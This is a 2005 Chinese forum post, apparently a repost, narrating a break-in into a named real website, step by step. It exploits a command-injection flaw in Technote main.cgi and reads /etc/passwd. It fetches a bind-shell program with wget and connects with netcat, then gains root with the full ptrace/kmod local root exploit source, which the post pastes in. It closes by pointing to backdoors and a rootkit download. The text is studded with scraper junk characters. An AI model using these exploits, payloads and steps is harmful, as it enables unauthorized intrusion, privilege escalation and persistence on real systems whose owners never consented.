数学建模社区-数学中国

标题: 从web漏洞到系统root权限过程全展现 [打印本页]

作者: 韩冰    时间: 2005-2-4 23:59
标题: 从web漏洞到系统root权限过程全展现

作者:cnbird

6 U s) [7 o" Z4 ~$ p9 ]

大家好,我是cnbird,我又回来了,好长时间没有写文章了,今天手痒痒,

& @/ P9 G, R6 [9 a

所以就写了一篇,希望对与unix的初学者有帮助.欢迎大家和我讨论技术。MainpAge:http://cnbird.hackvip.cn

' X) N( O; U2 J) v7 z2 y5 z. _

最近在家研究perl和UNIX服务器的安装和应用,所以很长时间没有进行渗 透了,在学perl和UNIX的话就要傻了,什么也不会了,所以去各大黑客站点

0 T4 W. n$ X9 ~- t _& m4 H" C

转转吧,来到了www.nsfocus.net看看吧,有没有什么新的公告啊,Technote 'main.cgi'远程任意命令执行漏洞 这个漏洞引起了我的注意,大致看了看,

' e% x3 q# ]2 B( c: @

知道了这是一个可以远程执行命令的漏洞,下面把漏洞的信息公布一下,Technote是韩国的Technote公司开发的公告牌系统。

% J R1 P1 d0 ^( N+ m

Technote的'main.cgi'没有充分过滤用户提交输入,远程攻击者可以利用这

- M% T3 u* M) k% {6 U$ k( T/ g

漏洞以WEB进程权限在系统上执行任意命令。

1 z/ n, n4 Q. w, P3 Z* X; G3 T

由于不正确过滤'filename'参数,攻击者提交包含"|command"的数据作为参

0 k8 X6 x- N ^8 S3 B6 m

数内容,可能以WEB进程权限在系统上执行任意命令。

9 S& l# z/ [1 h) q3 c! K C

+ e3 r4 d; E* d6 X( A8 u3 M2 k1 E5 [ 给出利用方法

2 r9 x- n' C5 B0 {( G; e: F

_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id">http://[target]/cgi-bin/technote/main.cgi/shop.pdf?down_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id|

/ ]" b1 T& U# E, g7 E# g

看了看利用方法觉得很简单,所以打算自己写一个perl的漏洞利用程序,

5 e& K! r7 O* k7 A- c+ D5 a

看了半天,终于完成了,自己perl新学的原因,所以写的比较简陋,还要自己

& s6 K0 O d; J$ \; M1 W

修改路径,很麻烦,我就不公布了,省的高手见笑。其实这个漏洞成功率还是

; X9 X+ n5 E8 i" G3 V$ O0 M! C

很高的,基本上90%以上吧,对于咱们这些经常搞安全的应该说是一个好消息.

6 Q* D4 w) v" J: m- ]

^_^.

# q/ d6 h& A- ?2 {$ {7 _

好了开始咱们这次难得的入侵之旅吧,这篇文章看着很简单,其实融合我多年

2 ?. n9 s. ~ u+ i, H% X J

的经验(其实就1-2年),首先要测试这个漏洞,先要找这样的论坛

" q# I7 Y5 W+ ?' d7 n2 I/ F

google.com就是方便,一下子找到了一大堆,好了随便挑一个进行测试吧,哈哈哈就拿你开口吧。

Q8 c$ T$ G( j3 F' u; z; ]4 T

http://www.sealia.com/cgi-bin/technote/main.cgi首先大致看了看,然后就开始吧,

) b8 K' Q8 H3 s( b. U/ {

按照绿盟给出的公告测试一下,输入_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id">http://www.sealia.com/cgi-bin/technote/main.cgi/shop.pdf?down_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id|

" I. O2 m- v4 e, A$ E. L# H

结果如图1

! p. @. v7 _. ^& F) g" ~

# i7 G* C" P D9 n3 A: O! D" R

大家看到结果了

9 J1 m# r: ~- k9 A- A R

uid=99(nobody) gid=99(nobody) groups=99(nobody) " D* h* I$ j1 k* V下面就开始利用我自己写的程序来完成工作了,毕竟在IE里面输太麻烦了,1 H9 f/ ^( Y2 v- F L) t 我程序的工作 h; ~8 W* a; r0 ^' N* L5 F界面。如图2

% E$ A7 }% S3 L- u G) l

) J3 [' y1 H5 W% [ o5 W( f# _

依次输入IP和端口,就可以直接运行程序了,输入id呵呵,和IE里面基本上差

1 B1 B! P( L" S- B- }

不多,

/ m: a+ Y, e* W, i" ?; {

如图3

$ `; n- o5 V; ]# }0 [

% X; p5 h9 H# p9 a2 k

呵呵到这里我想大家的思路就是上传一个webshell然后在webshell里面搞了,

& c! N0 C6 u& f+ D4 D. s/ I- v: Q

其实我也有这样的想法,可是我已经习惯了UNIX的命令行模式了,虽然能写一个webshell,但是我并没有这样做,我的目的是拿到root权限,大家一定问了,你连主机都没有连上呢,你怎么拿到root啊,小伙子你问的不错,奖你个梨吃,呵呵,下面我的思路就是登陆到机器上面,上面大家已经看到了,我们id命令的输出是uid=99(nobody) gid=99(nobody) groups=99(nobody),权限还是很低的,试试能不能拿到/etc/passwd然后跑密码,然后执行[www.sealia.com]$ cat /etc/passwd

, q1 i8 X( w( q7 E' l

不错,能拿到/etc/passwd。

( U' I2 C7 j2 a5 M3 \4 j' D3 X

如图4

6 w- `/ j" I4 f# `0 i/ N4 P/ X8 o

+ q# ^6 }0 G% A1 I7 G

呵呵已经得到/etc/passwd了,我们用流光去跑密码吧,当然我没有指望它能跑出来,等待的时间真漫长啊,无聊,都已经5点50分了,天天晚上,哦哦不是晚上了,是早晨这个时候睡觉,然后12点起来,天天如此,哎,,苦啊。。。

' u+ X7 L# S" \+ {/ B! ~( d

去forum.zone-h.org看看帖子吧,也许能找到什么灵感呢!无意间来到了http://forum.zone-h.org/viewtopic.php?t=1168&highlight=phpbb他们正在讨论phpbb的漏洞利用方法和代码,看看吧,虽然已经很老很老了,呵呵其实说实话,不怕各位见小,我以前问在这里问过问题,很长时间没有来了,看看他们有没有给回复啊

: x0 y& H q( y) \$ \' H% l

如图5

4 s. D0 w# h4 r0 q0 P

: Q+ b% j3 \% J5 A$ w

呵呵见笑了,真没想到他们给的答案还很全面,^_^连什么程序都给出了,老外就是实在...呵呵...

; U, N9 h9 Q' Y4 @% O

This one works fine

4 ^0 b/ `1 o+ O4 A+ Y! N4 j

http://rst.void.ru/download/r57phpbb2010.txt

: v9 Q2 _2 A! g* O/ W6 h

upload, someth like this

' T* I% P7 ]: e- t' i- O

./exploit.pl victimhost:port /php_root/ topic_num "wget -O /var/tmp/.r.c http://myhttpserver:port/exploit/root.c"

5 p, w5 Z& j/ d, p1 J4 e# g% q# A

+ @$ P4 E, [. y/ Q7 L ./exploit.pl victimhost:port /php_root/ topic_num "gcc /var/tmp/.r.c -o .root"

0 `' C$ z8 x* I o0 J1 @1 u% J. {% C" ?

0 C! ^3 C$ {% i' ?9 ` M, e+ `exec on victim hots same shit

/ Y7 c) ^7 R) a0 i6 I

and binding shell

3 I/ \7 f6 _' y+ r$ s7 d

http://shellcode.org/Shellcode/Linux/shell-bind-shell.html

+ }2 V0 l) K- X9 ~

回答的让我很满意啊,正好就试试他们给的方法吧,其实以前我也知道这样的方法的就是没有binding shell(就是把/bin/sh绑定到端口上)。好了说了这么多离题的话,我们还是赶紧做我们的事吧.

5 r- f* j9 l$ I# x# C# S, g; W% D( |

首先来到了http://shellcode.org/Shellcode/Linux/shell-bind-shell.html看了看,

' `6 P5 L8 h( ~# w$ [! @- x2 ~

This piece of code will open a socket for listening upon port 20000 and spawn a shell for all incoming connections.

g# W9 i$ Z5 s4 J& D- W: |

This would be ideal for a system which you didn't have a direct login shell upon.

/ M, i2 V; h! m+ ~/ V) y1 ]

从描述上来看是linux的binding shell,并且绑定到了20000端口,下面有该程序的下载地方,真方便啊,http://shellcode.org/Shellcode/Linux/shell-bind-shell.c

" S( t. N+ j( {- s# I, o* g9 _# @

给出代码

* ~7 S. U7 i0 ^$ u4 g

/* 92 bytes iscntrl() evading portbinding shellcode - linux-x86 & Z& U" v" B% g* x; m2 O7 W% k * - by bighawk (bighawk@warfare.com) : z0 p; h. u' T. N% A0 e! [% E *5 w' p1 W W2 F8 T! ~+ T * This shellcode binds a shell on port 20000 % ? Z' V7 V0 E! [: q6 M1 N; O3 l# J j *0 A" ?- e: W9 \% r% J2 B l& F8 { * stdin, stdout and stderr are dupped. accept() arguments are sane. : _9 m# l5 A* z' C3 a3 J */

3 G# y2 q. \1 [4 f% l- ~4 e1 d6 [

char code[] =

* D( T/ l' }: r7 b# V$ h3 O8 H& E

"\x31\xdb" // xor ebx, ebx. c7 q* o1 e T3 p$ Z3 `% V8 S- O "\xf7\xe3" // mul ebx 9 ~6 H3 H: W) l& v: [8 v1 Y8 c "\xb0\x66" // mov al, 102 1 j9 @2 U' d8 q& O7 a" n "\x53" // push ebx) W: D! }8 ?9 d$ J6 G. h "\x43" // inc ebx $ ^% _0 r- z, |8 c6 E6 R7 ] "\x53" // push ebx + n5 `4 ^8 A0 ]6 H, f "\x43" // inc ebx' ^3 s) K( ~% w "\x53" // push ebx ; c3 ?' |3 s6 n8 w/ u "\x89\xe1" // mov ecx, esp7 e( _+ S: |7 L4 ]% @+ T9 [ "\x4b" // dec ebx$ W6 P- L! A) f. I ]/ G$ N0 { ?# y "\xcd\x80" // int 80h; R! V$ m0 V! \: i; H "\x89\xc7" // mov edi, eax$ n, M9 C1 l% s "\x52" // push edx# X" m# p l6 a7 e* o "\x66\x68\x4e\x20" // push word 8270( y7 Y6 p! ?- H* w8 t3 }1 _ "\x43" // inc ebx& f( v1 W6 p( Q$ ]: T9 [; k "\x66\x53" // push bx. x1 C) @% N! W# G, ]# _ "\x89\xe1" // mov ecx, esp0 H0 n- r- m- V% T4 ~; q "\xb0\xef" // mov al, 239 4 { D/ y* M) }$ Y) O+ V "\xf6\xd0" // not al. Q0 n" A& p( e6 N "\x50" // push eax8 i* |: U8 a- P' v" y) a "\x51" // push ecx5 o b8 C, x: o "\x57" // push edi- h. a3 O3 `* ~9 m5 ^) ^+ h: W "\x89\xe1" // mov ecx, esp 0 g4 y" t( f$ ]8 U, M0 Y "\xb0\x66" // mov al, 102- z w' M0 x2 \+ r! m* G2 z/ m2 F b "\xcd\x80" // int 80h 7 v+ z4 H7 @: e1 H4 a "\xb0\x66" // mov al, 1027 _: O, z0 X+ ^0 C, T "\x43" // inc ebx # I& N3 M8 ?7 i, Z$ L9 K "\x43" // inc ebx# ~- J( _7 L& R, {+ P9 |0 Y/ D "\xcd\x80" // int 80h + b) _; b5 T* U! Z5 _4 g5 G1 A "\x50" // push eax + V# b& Z7 ], `+ b7 s' m) F! b "\x50" // push eax- U! S, [8 S" B "\x57" // push edi ! ^! V3 h) E5 ^9 d/ g, X, w# U% q* Z "\x89\xe1" // mov ecx, esp! N: X' W1 W, ]- v "\x43" // inc ebx+ Z6 n" f3 O: ? "\xb0\x66" // mov al, 102 - {/ b+ n: I+ F "\xcd\x80" // int 80h4 B: c5 J8 C, W5 A: \8 z "\x89\xd9" // mov ecx, ebx8 \' `- ^' \: \7 v6 e: W& |9 G) M "\x89\xc3" // mov ebx, eax / I; b; K7 C7 A | "\xb0\x3f" // mov al, 63, I8 z/ K$ U- }; c5 A7 d% D/ Z "\x49" // dec ecx7 O& Y; N, D3 U7 J0 G "\xcd\x80" // int 80h 4 q* [0 R( E- [2 ]' s! G "\x41" // inc ecx # V$ Z) ?1 e: t7 e1 n "\xe2\xf8" // loop lp+ M; `6 z8 G! m, i" R8 M' N y' X "\x51" // push ecx 9 E# [. c# v4 z+ Y6 u9 m. N "\x68\x6e\x2f\x73\x68" // push dword 68732f6eh ) [/ C+ |) q+ y1 T6 k' H: C "\x68\x2f\x2f\x62\x69" // push dword 69622f2fh& X/ Y# B7 V! d, I "\x89\xe3" // mov ebx, esp K5 C, Y& s0 S& H; |7 K3 Z. ? "\x51" // push ecx 9 z/ Q% I' [3 i* U F }. a* r* Y "\x53" // push ebx 2 W/ {5 F: K( X: O } "\x89\xe1" // mov ecx, esp2 Z$ I3 ]% Z/ w/ M, p) K: U% e M "\xb0\xf4" // mov al, 244 # A: A. p1 c5 x; ^ "\xf6\xd0" // not al . j8 _4 ]3 ~# U/ i) K+ _! K "\xcd\x80"; // int 80h

# @, @2 P9 u* ^- c% r" [

1 L. p. i R. Q2 r! dmain() {. X/ Y7 i. M0 Q void (*a)() = (void *)code;# u8 N. w) h4 k/ f6 x! O* r int i;" n+ A9 p) G/ W$ F4 j) a$ a printf("size: %d bytes\n", strlen(code));+ O9 e: ?2 X4 b& U# ~, M4 U( Y. W* S printf("Testing for cntrl characters.. ");2 C: g C: W' x9 {6 Z for(i=0;i if(iscntrl(code)) printf("FAILED\n"), exit(255); & i! B9 r' w+ N# f4 r printf("PASSED\n");3 a+ u0 S6 _2 y- s0 ?: i* ~- Z a(); - |$ Z: u( c f0 q0 \- g} 9 H5 i0 {: N1 {3 h" Z1 W 好了我们已经知道该下载地址


作者: 韩冰    时间: 2005-2-5 00:00
http://shellcode.org/Shellcode/Linux/shell-bind-shell.c了, 7 [' S! S) s, K+ D就可以用wget这个命令来下载了,输入 1 m: H; {! {/ m( ]) Ewget http://shellcode.org/Shellcode/Linux/shell-bind-shell.c -P /tmp意思0 q8 O9 @5 G& j% C* F 就是下载这个shell.c到/tmp目录下,如图6

4 P3 K! r9 \# d0 x- N( R7 n" u 然后ls /tmp得到下面的结果,[www.sealia.com]$ ls /tmpDate: Sat, 29 Jan 2005 22:17:14 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain! I. H* ^: k2 A, f" O+ N; e( ?" R 2bdlost+foundmremap_pte.cmysql.sockptrace.csess_0a3d59b6da83717a4c05fbc5c6429982sess_12981c19e4cdab7bc426af965e7c85desess_33c246570a69e0846eaaedaef61f0402sess_4eb43cb41a450e8a7d15998fe4e9ef82sess_5c2048e3188733f41bba9a1ab44a4f3bsess_6405a9b3e0a809d7f298ad598f5de180sess_67fc6892112d2d780a092664353dcbbasess_9e3a2581194c05f598543f10294a95edsess_a0332a716e5c0a0932331ce9a5ec64d2sess_a159ec1f21a671d5cfe201c384d8da1csess_c6f579b218f096eb5ba11fdbad90f248sess_cdea344ed2940c99c1fcc146c5322882sess_f1e8e705bb1a6c5197ab61a22442da90shell-bind-shell.cshell-bind-shell.c.1ssh-XX0CyKEcssh-XX7eRJNnssh-XX89utqmssh-XXEmor9Xssh-XXhC36Gwssh-XXpOcVIAssh-XXrhx8enssh-XXss6aKsssh-XXw2rzSs) o& c9 W5 C& Z2 @ 这个时候就说明已经成功了,现在我们查找一下gcc在哪里,别到时候闹了半天0 B3 f7 i( K, k0 D2 u2 q 在没有gcc就麻烦了,然后输入whereis -b gcc意思就是查找gcc的全路径输出结果 - k" g% Q, @! y[www.sealia.com]$ whereis -b gccDate: Sat, 29 Jan 2005 22:21:06 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain * d* h: [6 n* I" R! U) O" c9 N12gcc: /usr/bin/gcc + I$ K _' n. O" Y' h1 _好了找到gcc了,接下来的事就好办了,编译源程序gcc shell-bind-shell.c -o bind3 ~2 z( T- I/ ` 编译成功在/tmp目录下多了一个我们编译的bind程序,下面我们就来执行它吧,. K8 C. ]5 G" x6 V, g7 ]9 J /tmp/bind程序执行的很慢哦.....大概等了1-2分钟程序执行完成,根据程序的介绍我 6 Z- w5 e. O3 s" u$ N) d) n们知道他开了20000端口,我们telnet 上去吧,telnet www.sealia.com 20000 - T- O3 M% F) [& `2 S6 w哈哈连接上了这个时候摸瞎输入id;uname -a 我晕怎么出现"command not found" & D8 v( t: L0 G: ~$ \( C; ^: K; z呢,我晕了,没错啊,看看源程序吧,找到了最后,哈哈知道了原因,3 }& a$ Y7 F$ L; ?, ?* e9 A1 F Note: To use this you will need to make sure that you append '\n\0' to your entered strings, otherwise you will receive errors saying "command not found".The following is a simple means of doing that: perl -e '$|++;while (<>) { print . "\n\x00"; }' | nc hostname 20000: N, |6 s" v8 K8 W! N, b (nc is netcat).好了知道为什么了,我们就换nc提交吧,执行nc -vv www.sealia.com 20000然后出现了C:\WINDOWS\system32>nc -vv www.sealia.com 20000Warning: inverse host lookup failed for 61.100.181.12: h_errno 11004: NO_DATAwww.sealia.com [61.100.181.12] 20000 (?) open在黑暗中输入id输出结果uid=99(nobody) gid=99(nobody) groups=99(nobody)如图7

呵呵到这里我们可爱的流光还在跑呢,跑了将近半个小时了,不等了,关闭它,太浪费资源了,这个时候我大概知道他是一个linux的操作系统,但不知道内核版本输入uname -r 可以看到这个linux的内核iduid=99(nobody) gid=99(nobody) groups=99(nobody)uname -r2.4.20-31.92.4.20的,下面咱们来提升权限吧,就是拿到root,这里说明一下这里有2个很好用的漏洞利用程序,一个是Linux Kernel do_mremap VMA本地权限提升漏洞漏洞利用程序下载地址_pte.c">http://rhea.oamk.fi/~pyanil00/temp/mremap_pte.c)和Linux kernel 2.2.x - 2.4.x ptrace/kmod local root exploit好了都准备好了,咱们开始提升权限吧,大家先把咱们要利用的程序输入到linux里面cd /tmp;cat >1.c然后复制代码右键输入代码/*$ k7 ~5 A/ f7 x2 S. T" \6 w; j * Linux kernel ptrace/kmod local root exploit 1 ?1 g" W% U# B; q* ! U4 x6 n2 e# q3 I- ^' D* This code exploits a race condition in kernel/kmod.c, which creates$ I1 d7 n1 | |1 H3 d * kernel thread in insecure manner. This bug allows to ptrace cloned ' j) g3 d. P+ ?- L( V! Z1 _* process, allowing to take control over privileged modprobe binary. + Z7 Q, t1 c; p# ?8 q3 S*% x5 W" J$ u6 J& Z5 `/ v+ A4 j * Should work under all current 2.2.x and 2.4.x kernels. . S: Z& o' a" z i$ f* , @; E/ @$ o" b# I* I discovered this stupid bug independently on January 25, 2003, that 3 ~6 N4 N# ^" v$ U. k; c2 v& ` ~ * is (almost) two month before it was fixed and published by Red Hat ) ~: [6 u8 h/ g) a- q* and others. $ W. K/ f) r" R, a* ( W) i8 y. ^8 |+ U- M7 w * Wojciech Purczynski <cliph@isec.pl>9 u7 U% ~2 h6 S: j *# {* H; i9 d( s" y& E3 _: Q * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* 8 N& f$ j, p" C* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY' g( t c: S% s5 } * & c" I- o' |2 p* (c) 2003 Copyright by iSEC Security Research; ~+ w4 m) i; x+ a! }" y- i */

#include ) c* X$ b, f- l' G#include / K8 z: O# j6 s* S7 g#include & r3 q1 `. {* X. i, s, D- K#include 9 {3 W) i( z' l #include * |% |( @. n/ r z% K #include 4 P' j5 U- K. O4 U3 @* N #include , R! j8 F/ z; h1 X7 _2 { m#include $ x+ `1 M4 O/ p$ x% m% b6 M& I#include 9 j2 z* H/ f! o#include $ t* W V& R6 v) Z! k#include # c8 z2 w9 t% C& i #include 7 P" Y& v& }+ [' E#include 1 G6 v6 W! m4 Z8 }- A/ Q3 I0 w' M! a#include ; v+ E% D J9 T) }" W3 R#include 4 C) j6 C6 i4 F" h#include

char cliphcode[] = 7 \! b8 d; Y0 x: g# D"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"5 e* x( I3 k3 F1 A) ] "\x00\x5b\x31\xc9\x89\xca\xcd\x80"+ R9 [" v' K% {) d* { "\xb8\x0f\x00\x00\x00\xb9\xed\x0d" ; `% {2 Q. h7 w, {: e"\x00\x00\xcd\x80\x89\xd0\x89\xd3" 5 @. M5 r' B. n' v"\x40\xcd\x80\xe8\xdc\xff\xff\xff";

#define CODE_SIZE (sizeof(cliphcode) - 1)

pid_t parent = 1; 4 W) K) Q5 F) Z/ Qpid_t child = 1; 9 ~9 t' p! b; Tpid_t victim = 1; ) C8 B& k* Y- X- j8 Yvolatile int gotchild = 0;

void fatal(char * msg)$ s/ J9 Z; S* Q8 Z { 6 l% b) k$ L6 p9 gperror(msg);/ c" o' V: T6 |7 ^/ c2 v kill(parent, SIGKILL);. Y* {5 d" A) z$ W! E kill(child, SIGKILL);" G$ t V& y& s3 r- u kill(victim, SIGKILL);4 t" b% a' N$ ?* {5 |' M }

void putcode(unsigned long * dst) 8 ?9 g& J6 c3 W0 n/ r; ?, Y{ . A- D; D7 t* W) D8 Q# C' pchar buf[MAXPATHLEN + CODE_SIZE];" v2 X* s1 d' w: ]1 g2 H* g) g6 h unsigned long * src; * {" B+ t8 X# E# l2 L4 P% kint i, len;

memcpy(buf, cliphcode, CODE_SIZE); , \8 |7 d0 X+ K: ], v+ f4 x! elen = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);# r6 c0 E7 T1 Z! e9 p if (len == -1)8 }2 Y! e7 w# ~3 N: p fatal("[-] Unable to read /proc/self/exe");

len += CODE_SIZE + 1;- l- l! b7 y2 }4 `1 p. d: t" b buf[len] = '\0';

src = (unsigned long*) buf; " N) j9 H+ h' u' I% s, Nfor (i = 0; i < len; i += 4)* T$ s$ A3 G j* q+ J0 \ if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)8 c W! x" Z: |1 k fatal("[-] Unable to write shellcode"); 4 @6 ]9 H# S5 h- t}

void sigchld(int signo)9 j1 {' t% \: L# ?- I { 6 u1 d) x3 b/ K( ?struct user_regs_struct regs;

if (gotchild++ == 0) ) j: h+ o9 ~' L2 H5 Z) W& c! v( hreturn;

fprintf(stderr, "[+] Signal caught\n");

if (ptrace(PTRACE_GETREGS, victim, NULL, 畇) == -1) Z- U& z b! x fatal("[-] Unable to read registers");

fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);

putcode((unsigned long *)regs.eip);

fprintf(stderr, "[+] Now wait for suid shell...\n");

if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1) 9 p3 ^9 m3 m) h% z; O: [9 x; bfatal("[-] Unable to detach from victim");

exit(0);( F! ?2 I% I# U+ H }

void sigalrm(int signo) 0 h/ x$ q9 N; O' y{ 7 ?4 G6 g0 M" J+ k- M" u0 b( {errno = ECANCELED; 0 q0 H- |1 K; `) ~, m4 F" e) pfatal("[-] Fatal error");$ \$ L* ^# t$ ]7 V, |3 T' R }

void do_child(void)) h/ U! S% h" Y/ y$ ] {' K5 {) J3 q! o" m& T) y* ] int err;

child = getpid(); % M# x) r$ J! `' \- Ivictim = child + 1;

signal(SIGCHLD, sigchld);

do $ n1 N; |0 }3 A. F2 A" }& {err = ptrace(PTRACE_ATTACH, victim, 0, 0); 4 u ^2 w f. R8 \3 a. Ewhile (err == -1 && errno == ESRCH);

if (err == -1) `, ~! d0 `. p0 jfatal("[-] Unable to attach");

fprintf(stderr, "[+] Attached to %d\n", victim); # M/ T5 a: z$ l: N/ Q, _' \2 fwhile (!gotchild) ; ! a9 }7 i! _* @' G0 Pif (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1) : o5 N1 G4 v( `fatal("[-] Unable to setup syscall trace"); . a! g+ { j! d. x* U3 W9 hfprintf(stderr, "[+] Waiting for signal\n");

for(;;);6 \4 T) f7 ~( Y- A# E) V }

void do_parent(char * progname) . `7 \ W1 C6 U6 |{ 1 I3 F& t$ j# gstruct stat st;9 y% q; s! {' ~( J9 h int err; ; J C/ m$ P [errno = 0;+ Y" Y/ ?' _! W) T1 r- S, } socket(AF_SECURITY, SOCK_STREAM, 1);/ C, u* G# n: ~ do {) p& Z P6 |3 L9 e" H6 Y! w$ O err = stat(progname, &st);6 [) q4 P% `1 Q; Q1 o } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);

if (err == -1)$ s& W( n6 {7 Q1 ?0 E1 J fatal("[-] Unable to stat myself");

alarm(0); + X& k4 `1 d/ W: j4 n: o( i+ ^! W. ~system(progname);: Z9 K8 y6 l$ [) v }

void prepare(void) : a! v" n0 A, F; P+ W( n3 R{ " ?) b c, J$ x. fif (geteuid() == 0) {, c1 W: d9 X) r0 w. s" i9 O initgroups("root", 0); 6 C" k0 J5 y. N9 A' H- Nsetgid(0); " D4 j4 x; D1 T" d8 A! ~setuid(0);# s# C; E4 q! l1 `. W execl(_PATH_BSHELL, _PATH_BSHELL, NULL);/ g4 a5 ?( r( f; }0 B4 { fatal("[-] Unable to spawn shell"); ' Z* b7 X7 t2 R9 k) G% d' ]}! `5 k0 h7 Z1 Y( o: @. a }

int main(int argc, char ** argv) # }3 D" X) w9 Z- t" a{ 6 K; i+ Z* E P) V( m/ _, `prepare();, Q# [, q& W4 _2 ^ [* b7 J2 v signal(SIGALRM, sigalrm);- [/ c$ C9 C9 c$ W% C C( t$ n alarm(10);

parent = getpid();( m5 a, z# [$ I* ? child = fork(); ; k3 B$ N9 y" | Xvictim = child + 1;

if (child == -1) ; A5 S# {4 }: @2 t* b* [) c- M! kfatal("[-] Unable to fork");

if (child == 0) - y6 u+ b1 J/ {" }5 D$ A$ W) U J7 Qdo_child(); 4 P h- b8 p2 A( A0 Velse + g4 K( h! k/ J2 c. q; bdo_parent(argv[0]);

return 0; 3 Q% f' q/ O$ l+ N# n- I7 X- [}CRTL+C保存,然后编译gcc 1.c -o 1编译成功,然后输入./1程序开始执行了,-> Parent's PID is 2313. Child's PID is 2314.-> Attaching to 2315...-> Got the thread!!-> Waiting for the next signal...-> Injecting shellcode at 0x4000e85d-> Bind root shell on port 24876... =p-> Detached from modprobe thread.-> Committing suicide..... iduid=0(root) gid=0(root) groups=0(root)哈哈到这个时候我们已经是root了,剩下的工作就是安装后门了,大家可以参考我另外的一篇文章,more.asp?name=cnbird&id=522还有推荐一个不错的rootkitpacketstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz好了到这里所有的工作就算已经完成了,其实从入侵中我们可以看出来我们做网站的一定要重视web漏洞,这一点点的小漏洞就可以把能拿到系统的最高权限,可见其危害性,希望国内的网管能够重视起来.






欢迎光临 数学建模社区-数学中国 (http://www.madio.net/) Powered by Discuz! X2.5